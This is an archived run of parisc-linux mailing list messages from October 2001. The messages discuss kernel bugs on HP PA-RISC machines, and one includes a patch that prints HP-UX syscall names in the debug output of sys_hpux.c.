X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12458

Nope... just cvs updated and built new kernel this morning for hpux support.
Will let you know if it happens again.

Thanks!

-- Nathan

> -----Original Message-----
> From: Randolph Chung [mailto:randolph@tausq.org]
> Sent: Thursday, October 04, 2001 10:12 AM
> To: Neulinger, Nathan
> Subject: Re: [parisc-linux] Unaligned data reference...
> 
> 
> In reference to a message from Neulinger, Nathan, dated Oct 04:
> > Just got this on a J210 built with a native mostly default 
> cvs build of the
> > kernel.
> > 
> > Wasn't using the machine at the time (happened overnight) 
> so don't know if
> > anything particular triggered it.
> 
> I checked in the unaligned stuff yesterday. Is this in your build? Do
> you have a system.map file for this kernel?
> 
> randolph
> -- 
>    @..@                                         http://www.TauSq.org/
>   (----)
>  ( >__< )
>  ^^ ~~ ^^
> 




From - Thu Nov 08 21:19:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti broken in pa32 on B180
Date: Thu, 4 Oct 2001 17:17:33 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20011004171733.A5324@solo.franken.de>
References: <1002191096.3bbc38f8c42ed@webmail.tiscalinet.be> <20011004071350.A27483@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620566 27013 80.91.229.3 (22 Nov 2014 01:42:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:46 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 09:19:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (A630f.pppool.de [213.6.99.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D014496A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 09:19:42 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id f94FHXB05327;
	Thu, 4 Oct 2001 17:17:33 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011004071350.A27483@beavis.ybsoft.com>; from rbradetich@uswest.net on Thu, Oct 04, 2001 at 07:13:50AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12459

On Thu, Oct 04, 2001 at 07:13:50AM -0600, Ryan Bradetich wrote:
> On Thu, Oct 04, 2001 at 12:24:56PM +0200, joel.soete@freebel.net wrote:
> > Hi all,
> > 
> > I just come back to my hppa boxes (a 712/80 and a b180) and just co the last cvs 
> > kernel (-pa32).
> > I do usual make oldconfig; make dep ; make vmlinux (on the 712).
> 
> Try the following patch ... Thomas said this is what fixed STI on the
> B-class machines for him.  If it works, I'll commit it.

	for (i = 1; i <= num_addrs; i++) {

is what works for me without changing sticore.c.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:19:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: C110 question
Date: Thu, 4 Oct 2001 17:27:02 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20011004172702.B5324@solo.franken.de>
References: <bheadley@interaccess.com> <200110021733.LAA07820@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620567 27016 80.91.229.3 (22 Nov 2014 01:42:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:47 +0000 (UTC)
Cc: "Bryan W. Headley" <bheadley@interaccess.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 09:28:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (A630f.pppool.de [213.6.99.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17825496A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 09:28:05 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id f94FR2p05492;
	Thu, 4 Oct 2001 17:27:02 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200110021733.LAA07820@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Tue, Oct 02, 2001 at 11:33:05AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12460

On Tue, Oct 02, 2001 at 11:33:05AM -0600, Grant Grundler wrote:
> > The drives are hanging off of a FWSCSI controller. I'm right in thinking 
> > that the support for that is still not there, right?
> 
> In general the SCSI driver for Zalon works. The problem is with
> IO MMU support for devices below anything other than the first IO MMU.

I don't know how close a C110 is compared to a C100, but we had massive
filesystem corruptions on a C100 (and a C160) during the weekend in Oldenburg. 
It looked like the problems I had with my C200, which seem to be fixed
(I've compiled XFree and mozialla on that machine). I'll recheck on
my C100, when I get home again.

> XF86 is mostly working for B180 and 712's from reports on p-l mailing list.
> If you have Vis-EG (normal built-in) graphics, it might work for
> C110 as well since it's not using IO MMU (afaik).

it should work. To use stifb you need to remove the check for Artist
only (search for HACK:).

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:19:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned data reference...
Date: Thu, 4 Oct 2001 16:32:05 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011004163205.E18571@parcelfarce.linux.theplanet.co.uk>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D851@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620567 27019 80.91.229.3 (22 Nov 2014 01:42:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 09:32:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BA3E49B5
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 09:32:07 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15pATl-0000iN-00; Thu, 04 Oct 2001 16:32:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D851@umr-mail03.cc.umr.edu>; from nneul@umr.edu on Thu, Oct 04, 2001 at 08:24:38AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12461

On Thu, Oct 04, 2001 at 08:24:38AM -0500, Neulinger, Nathan wrote:
> Just got this on a J210 built with a native mostly default cvs build of the
> kernel.

What CVS version were you using?  And can you tell us which function
0x10279908 is in?  

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Unaligned data reference...
Date: Thu, 4 Oct 2001 11:02:05 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D85E@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620567 27020 80.91.229.3 (22 Nov 2014 01:42:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 10:03:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2D2B4949
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 10:03:21 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id LAA12386; Thu, 4 Oct 2001 11:03:07 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHFLTR>; Thu, 4 Oct 2001 11:03:07 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12462

It was from a couple days ago. And unfortunately, I don't have that
particular System.map any more. I'll let you know w/ more details if I see
it again. Most likely it was in your fixes, since I didn't have them yet.

-- Nathan

> -----Original Message-----
> From: Matthew Wilcox [mailto:willy@debian.org]
> Sent: Thursday, October 04, 2001 10:32 AM
> To: Neulinger, Nathan
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Unaligned data reference...
> 
> 
> On Thu, Oct 04, 2001 at 08:24:38AM -0500, Neulinger, Nathan wrote:
> > Just got this on a J210 built with a native mostly default 
> cvs build of the
> > kernel.
> 
> What CVS version were you using?  And can you tell us which function
> 0x10279908 is in?  
> 
> -- 
> Revolutions do not require corporate support.
> 




From - Thu Nov 08 21:19:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nathan Neulinger <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Small patch to output hpux syscall names
Date: Thu, 4 Oct 2001 11:11:06 -0500
Lines: 427
Approved: news@gmane.org
Message-ID: <20011004111104.A18052@umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="zYM0uCDKw75PZbzx"
X-Trace: ger.gmane.org 1416620568 27026 80.91.229.3 (22 Nov 2014 01:42:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 10:11:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FAF84949
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 10:11:08 -0600 (MDT)
Original-Received: from infinity.cc.umr.edu (root@infinity.cc.umr.edu [131.151.32.21]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id LAA15452; Thu, 4 Oct 2001 11:11:07 -0500
Original-Received: (from nneul@localhost)
	by infinity.cc.umr.edu (8.12.1/8.12.0.Beta7) id f94GB6Sb018107
	for parisc-linux@lists.parisc-linux.org; Thu, 4 Oct 2001 11:11:06 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
Xref: news.gmane.org gmane.linux.ports.parisc:12463

--zYM0uCDKw75PZbzx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

This causes the printk in sys_hpux.c to output the missing hpux syscall
name when known. Makes it a little easier to see what is unimplemented.

i.e.

Unimplemented HP-UX syscall emulation. Syscall #185 (sigprocmask)
  Args: 2 80014a80 bb002398 bb000da0 bb000da0 bb002398 800154b0
Unimplemented HP-UX syscall emulation. Syscall #185 (sigprocmask)
  Args: 2 bb002398 0 800154b0 bb000da0 44 800154b0
Unimplemented HP-UX syscall emulation. Syscall #155 (lockf)
  Args: 5 2 0 bb000da0 40003960 40003968 2f
Unimplemented HP-UX syscall emulation. Syscall #185 (sigprocmask)
  Args: 2 80014a80 bb002398 bb000da0 bb000da0 bb002398 800154b0

Quick question - I don't suppose there is any way that the sys_hpux.c stuff
could be made into a module? Sure would make debugging wrapper development
a lot easier.

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216

--zYM0uCDKw75PZbzx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="syscall-names.diff"

Index: arch/parisc/hpux/sys_hpux.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/hpux/sys_hpux.c,v
retrieving revision 1.9
diff -u -r1.9 sys_hpux.c
--- sys_hpux.c	2001/10/04 11:05:44	1.9
+++ sys_hpux.c	2001/10/04 16:02:37
@@ -342,10 +346,379 @@
 	/* NOTE: sc_num trashes arg8 for the few syscalls that actually
 	 * have a valid 8th argument.
 	 */
+	char *name = NULL;
+
+	switch(sc_num) {
+		case 0: name = "nosys"; break;
+		case 1: name = "exit"; break;
+		case 2: name = "fork"; break;
+		case 3: name = "read"; break;
+		case 4: name = "write"; break;
+		case 5: name = "open"; break;
+		case 6: name = "close"; break;
+		case 7: name = "wait"; break;
+		case 8: name = "creat"; break;
+		case 9: name = "link"; break;
+		case 10: name = "unlink"; break;
+		case 11: name = "execv"; break;
+		case 12: name = "chdir"; break;
+		case 13: name = "time"; break;
+		case 14: name = "mknod"; break;
+		case 15: name = "chmod"; break;
+		case 16: name = "chown"; break;
+		case 17: name = "brk"; break;
+		case 18: name = "lchmod"; break;
+		case 19: name = "lseek"; break;
+		case 20: name = "getpid"; break;
+		case 21: name = "mount"; break;
+		case 22: name = "umount"; break;
+		case 23: name = "setuid"; break;
+		case 24: name = "getuid"; break;
+		case 25: name = "stime"; break;
+		case 26: name = "ptrace"; break;
+		case 27: name = "alarm"; break;
+		case 29: name = "pause"; break;
+		case 30: name = "utime"; break;
+		case 31: name = "stty"; break;
+		case 32: name = "gtty"; break;
+		case 33: name = "access"; break;
+		case 34: name = "nice"; break;
+		case 35: name = "ftime"; break;
+		case 36: name = "sync"; break;
+		case 37: name = "kill"; break;
+		case 38: name = "stat"; break;
+		case 39: name = "setpgrp3"; break;
+		case 40: name = "lstat"; break;
+		case 41: name = "dup"; break;
+		case 42: name = "pipe"; break;
+		case 43: name = "times"; break;
+		case 44: name = "profil"; break;
+		case 45: name = "ki_call"; break;
+		case 46: name = "setgid"; break;
+		case 47: name = "getgid"; break;
+		case 51: name = "acct"; break;
+		case 52: name = "set_userthreadid"; break;
+		case 54: name = "ioctl"; break;
+		case 55: name = "reboot"; break;
+		case 56: name = "symlink"; break;
+		case 57: name = "utssys"; break;
+		case 58: name = "readlink"; break;
+		case 59: name = "execve"; break;
+		case 60: name = "umask"; break;
+		case 61: name = "chroot"; break;
+		case 62: name = "fcntl"; break;
+		case 63: name = "ulimit"; break;
+		case 66: name = "vfork"; break;
+		case 71: name = "mmap"; break;
+		case 73: name = "munmap"; break;
+		case 74: name = "mprotect"; break;
+		case 75: name = "madvise"; break;
+		case 76: name = "vhangup"; break;
+		case 77: name = "swapoff"; break;
+		case 79: name = "getgroups"; break;
+		case 80: name = "setgroups"; break;
+		case 81: name = "getpgrp2"; break;
+		case 82: name = "setpgid/setpgrp2"; break;
+		case 83: name = "setitimer"; break;
+		case 84: name = "wait3"; break;
+		case 85: name = "swapon"; break;
+		case 86: name = "getitimer"; break;
+		case 90: name = "dup2"; break;
+		case 92: name = "fstat"; break;
+		case 93: name = "select"; break;
+		case 95: name = "fsync"; break;
+		case 96: name = "setpriority"; break;
+		case 100: name = "getpriority"; break;
+		case 108: name = "sigvector"; break;
+		case 109: name = "sigblock"; break;
+		case 110: name = "sigsetmask"; break;
+		case 111: name = "sigpause"; break;
+		case 112: name = "sigstack"; break;
+		case 116: name = "gettimeofday"; break;
+		case 117: name = "getrusage"; break;
+		case 120: name = "readv"; break;
+		case 121: name = "writev"; break;
+		case 122: name = "settimeofday"; break;
+		case 123: name = "fchown"; break;
+		case 124: name = "fchmod"; break;
+		case 126: name = "setresuid"; break;
+		case 127: name = "setresgid"; break;
+		case 128: name = "rename"; break;
+		case 129: name = "truncate"; break;
+		case 130: name = "ftruncate"; break;
+		case 132: name = "sysconf"; break;
+		case 136: name = "mkdir"; break;
+		case 137: name = "rmdir"; break;
+		case 139: name = "sigcleanup"; break;
+		case 140: name = "setcore"; break;
+		case 142: name = "gethostid"; break;
+		case 143: name = "sethostid"; break;
+		case 144: name = "getrlimit"; break;
+		case 145: name = "setrlimit"; break;
+		case 148: name = "quotactl"; break;
+		case 149: name = "get_sysinfo"; break;
+		case 151: name = "privgrp"; break;
+		case 152: name = "rtprio"; break;
+		case 153: name = "plock"; break;
+		case 155: name = "lockf"; break;
+		case 156: name = "semget"; break;
+		case 158: name = "semop"; break;
+		case 159: name = "msgget"; break;
+		case 161: name = "msgsnd"; break;
+		case 162: name = "msgrcv"; break;
+		case 163: name = "shmget"; break;
+		case 165: name = "shmat"; break;
+		case 166: name = "shmdt"; break;
+		case 168: name = "csp/nsp_init"; break;
+		case 169: name = "cluster"; break;
+		case 170: name = "mkrnod"; break;
+		case 171: name = "test"; break;
+		case 172: name = "unsp_open"; break;
+		case 174: name = "getcontext"; break;
+		case 175: name = "osetcontext"; break;
+		case 176: name = "bigio"; break;
+		case 177: name = "pipenode"; break;
+		case 178: name = "lsync"; break;
+		case 179: name = "getmachineid"; break;
+		case 180: name = "cnodeid/mysite"; break;
+		case 181: name = "cnodes/sitels"; break;
+		case 182: name = "swapclients"; break;
+		case 183: name = "rmtprocess"; break;
+		case 184: name = "dskless_stats"; break;
+		case 185: name = "sigprocmask"; break;
+		case 186: name = "sigpending"; break;
+		case 187: name = "sigsuspend"; break;
+		case 188: name = "sigaction"; break;
+		case 190: name = "nfssvc"; break;
+		case 191: name = "getfh"; break;
+		case 192: name = "getdomainname"; break;
+		case 193: name = "setdomainname"; break;
+		case 194: name = "async_daemon"; break;
+		case 195: name = "getdirentries"; break;
+		case 196: name = "statfs"; break;
+		case 197: name = "fstatfs"; break;
+		case 198: name = "vfsmount"; break;
+		case 200: name = "waitpid"; break;
+		case 224: name = "sigsetreturn"; break;
+		case 225: name = "sigsetstatemask"; break;
+		case 226: name = "bfactl"; break;
+		case 227: name = "cs"; break;
+		case 228: name = "cds"; break;
+		case 230: name = "pathconf"; break;
+		case 231: name = "fpathconf"; break;
+		case 234: name = "nfs_fcntl"; break;
+		case 235: name = "ogetacl"; break;
+		case 236: name = "ofgetacl"; break;
+		case 237: name = "osetacl"; break;
+		case 238: name = "ofsetacl"; break;
+		case 239: name = "pstat"; break;
+		case 240: name = "getaudid"; break;
+		case 241: name = "setaudid"; break;
+		case 242: name = "getaudproc"; break;
+		case 243: name = "setaudproc"; break;
+		case 244: name = "getevent"; break;
+		case 245: name = "setevent"; break;
+		case 246: name = "audwrite"; break;
+		case 247: name = "audswitch"; break;
+		case 248: name = "audctl"; break;
+		case 249: name = "ogetaccess"; break;
+		case 250: name = "fsctl"; break;
+		case 251: name = "ulconnect"; break;
+		case 252: name = "ulcontrol"; break;
+		case 253: name = "ulcreate"; break;
+		case 254: name = "uldest"; break;
+		case 255: name = "ulrecv"; break;
+		case 256: name = "ulrecvcn"; break;
+		case 257: name = "ulsend"; break;
+		case 258: name = "ulshutdown"; break;
+		case 259: name = "swapfs"; break;
+		case 260: name = "fss"; break;
+		case 267: name = "tsync"; break;
+		case 268: name = "getnumfds"; break;
+		case 269: name = "poll"; break;
+		case 270: name = "getmsg"; break;
+		case 271: name = "putmsg"; break;
+		case 272: name = "fchdir"; break;
+		case 273: name = "getmount_cnt"; break;
+		case 274: name = "getmount_entry"; break;
+		case 275: name = "accept"; break;
+		case 276: name = "bind"; break;
+		case 277: name = "connect"; break;
+		case 278: name = "getpeername"; break;
+		case 279: name = "getsockname"; break;
+		case 280: name = "getsockopt"; break;
+		case 281: name = "listen"; break;
+		case 282: name = "recv"; break;
+		case 283: name = "recvfrom"; break;
+		case 284: name = "recvmsg"; break;
+		case 285: name = "send"; break;
+		case 286: name = "sendmsg"; break;
+		case 287: name = "sendto"; break;
+		case 288: name = "setsockopt"; break;
+		case 289: name = "shutdown"; break;
+		case 290: name = "socket"; break;
+		case 291: name = "socketpair"; break;
+		case 292: name = "proc_open"; break;
+		case 293: name = "proc_close"; break;
+		case 294: name = "proc_send"; break;
+		case 295: name = "proc_recv"; break;
+		case 296: name = "proc_sendrecv"; break;
+		case 297: name = "proc_syscall"; break;
+		case 298: name = "ipccreate"; break;
+		case 299: name = "ipcname"; break;
+		case 300: name = "ipcnamerase"; break;
+		case 301: name = "ipclookup"; break;
+		case 302: name = "ipcselect"; break;
+		case 303: name = "ipcconnect"; break;
+		case 304: name = "ipcrecvcn"; break;
+		case 305: name = "ipcsend"; break;
+		case 306: name = "ipcrecv"; break;
+		case 307: name = "ipcgetnodename"; break;
+		case 308: name = "ipcsetnodename"; break;
+		case 309: name = "ipccontrol"; break;
+		case 310: name = "ipcshutdown"; break;
+		case 311: name = "ipcdest"; break;
+		case 312: name = "semctl"; break;
+		case 313: name = "msgctl"; break;
+		case 314: name = "shmctl"; break;
+		case 315: name = "mpctl"; break;
+		case 316: name = "exportfs"; break;
+		case 317: name = "getpmsg"; break;
+		case 318: name = "putpmsg"; break;
+		case 319: name = "strioctl"; break;
+		case 320: name = "msync"; break;
+		case 321: name = "msleep"; break;
+		case 322: name = "mwakeup"; break;
+		case 323: name = "msem_init"; break;
+		case 324: name = "msem_remove"; break;
+		case 325: name = "adjtime"; break;
+		case 326: name = "kload"; break;
+		case 327: name = "fattach"; break;
+		case 328: name = "fdetach"; break;
+		case 329: name = "serialize"; break;
+		case 330: name = "statvfs"; break;
+		case 331: name = "fstatvfs"; break;
+		case 332: name = "lchown"; break;
+		case 333: name = "getsid"; break;
+		case 334: name = "sysfs"; break;
+		case 337: name = "sched_setparam"; break;
+		case 338: name = "sched_getparam"; break;
+		case 339: name = "sched_setscheduler"; break;
+		case 340: name = "sched_getscheduler"; break;
+		case 341: name = "sched_yield"; break;
+		case 342: name = "sched_get_priority_max"; break;
+		case 343: name = "sched_get_priority_min"; break;
+		case 344: name = "sched_rr_get_interval"; break;
+		case 345: name = "clock_settime"; break;
+		case 346: name = "clock_gettime"; break;
+		case 347: name = "clock_getres"; break;
+		case 348: name = "timer_create"; break;
+		case 349: name = "timer_delete"; break;
+		case 350: name = "timer_settime"; break;
+		case 351: name = "timer_gettime"; break;
+		case 352: name = "timer_getoverrun"; break;
+		case 353: name = "nanosleep"; break;
+		case 354: name = "toolbox"; break;
+		case 356: name = "getdents"; break;
+		case 357: name = "getcontext"; break;
+		case 358: name = "sysinfo"; break;
+		case 359: name = "fcntl64"; break;
+		case 360: name = "ftruncate64"; break;
+		case 361: name = "fstat64"; break;
+		case 362: name = "getdirentries64"; break;
+		case 363: name = "getrlimit64"; break;
+		case 364: name = "lockf64"; break;
+		case 365: name = "lseek64"; break;
+		case 366: name = "lstat64"; break;
+		case 367: name = "mmap64"; break;
+		case 368: name = "setrlimit64"; break;
+		case 369: name = "stat64"; break;
+		case 370: name = "truncate64"; break;
+		case 371: name = "ulimit64"; break;
+		case 380: name = "setcontext"; break;
+		case 381: name = "sigaltstack"; break;
+		case 382: name = "waitid"; break;
+		case 383: name = "setpgrp"; break;
+		case 384: name = "recvmsg2"; break;
+		case 385: name = "sendmsg2"; break;
+		case 386: name = "socket2"; break;
+		case 387: name = "socketpair2"; break;
+		case 388: name = "setregid"; break;
+		case 389: name = "lwp_create"; break;
+		case 390: name = "lwp_terminate"; break;
+		case 391: name = "lwp_wait"; break;
+		case 392: name = "lwp_suspend"; break;
+		case 393: name = "lwp_resume"; break;
+		case 394: name = "lwp_self"; break;
+		case 395: name = "lwp_abort_syscall"; break;
+		case 396: name = "lwp_info"; break;
+		case 397: name = "lwp_kill"; break;
+		case 398: name = "ksleep"; break;
+		case 399: name = "kwakeup"; break;
+		case 400: name = "ksleep_abort"; break;
+		case 401: name = "lwp_proc_info"; break;
+		case 402: name = "lwp_exit"; break;
+		case 403: name = "lwp_continue"; break;
+		case 404: name = "getacl"; break;
+		case 405: name = "fgetacl"; break;
+		case 406: name = "setacl"; break;
+		case 407: name = "fsetacl"; break;
+		case 408: name = "getaccess"; break;
+		case 409: name = "lwp_mutex_init"; break;
+		case 410: name = "lwp_mutex_lock_sys"; break;
+		case 411: name = "lwp_mutex_unlock"; break;
+		case 412: name = "lwp_cond_init"; break;
+		case 413: name = "lwp_cond_signal"; break;
+		case 414: name = "lwp_cond_broadcast"; break;
+		case 415: name = "lwp_cond_wait_sys"; break;
+		case 416: name = "lwp_getscheduler"; break;
+		case 417: name = "lwp_setscheduler"; break;
+		case 418: name = "lwp_getprivate"; break;
+		case 419: name = "lwp_setprivate"; break;
+		case 420: name = "lwp_detach"; break;
+		case 421: name = "mlock"; break;
+		case 422: name = "munlock"; break;
+		case 423: name = "mlockall"; break;
+		case 424: name = "munlockall"; break;
+		case 425: name = "shm_open"; break;
+		case 426: name = "shm_unlink"; break;
+		case 427: name = "sigqueue"; break;
+		case 428: name = "sigwaitinfo"; break;
+		case 429: name = "sigtimedwait"; break;
+		case 430: name = "sigwait"; break;
+		case 431: name = "aio_read"; break;
+		case 432: name = "aio_write"; break;
+		case 433: name = "lio_listio"; break;
+		case 434: name = "aio_error"; break;
+		case 435: name = "aio_return"; break;
+		case 436: name = "aio_cancel"; break;
+		case 437: name = "aio_suspend"; break;
+		case 438: name = "aio_fsync"; break;
+		case 439: name = "mq_open"; break;
+		case 440: name = "mq_unlink"; break;
+		case 441: name = "mq_send"; break;
+		case 442: name = "mq_receive"; break;
+		case 443: name = "mq_notify"; break;
+		case 444: name = "mq_setattr"; break;
+		case 445: name = "mq_getattr"; break;
+		case 446: name = "ksem_open"; break;
+		case 447: name = "ksem_unlink"; break;
+		case 448: name = "ksem_close"; break;
+		case 449: name = "ksem_destroy"; break;
+		case 450: name = "lw_sem_incr"; break;
+		case 451: name = "lw_sem_decr"; break;
+		case 452: name = "lw_sem_read"; break;
+		case 453: name = "mq_close"; break;
+	};
 
-	printk(KERN_DEBUG \
-		"Unimplemented HP-UX syscall emulation. Syscall #%d\n",
+	if ( name ) {
+		printk(KERN_DEBUG "Unimplemented HP-UX syscall emulation. Syscall #%lu (%s)\n",
+		sc_num, name);
+	} else {
+		printk(KERN_DEBUG "Unimplemented unknown HP-UX syscall emulation. Syscall #%lu\n",
 		sc_num);
+	}
+	
 	printk(KERN_DEBUG "  Args: %lx %lx %lx %lx %lx %lx %lx\n",
 		arg1, arg2, arg3, arg4, arg5, arg6, arg7);
 

--zYM0uCDKw75PZbzx--




From - Thu Nov 08 21:19:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned data reference...
Date: Thu, 4 Oct 2001 09:31:52 -0700 (PDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200110041631.JAA19873@opus.allegro.com>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D851@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620568 27034 80.91.229.3 (22 Nov 2014 01:42:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: nneul@umr.edu (Neulinger, Nathan)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 10:31:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D46348B0
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 10:31:57 -0600 (MDT)
Original-Received: (from sieler@localhost)
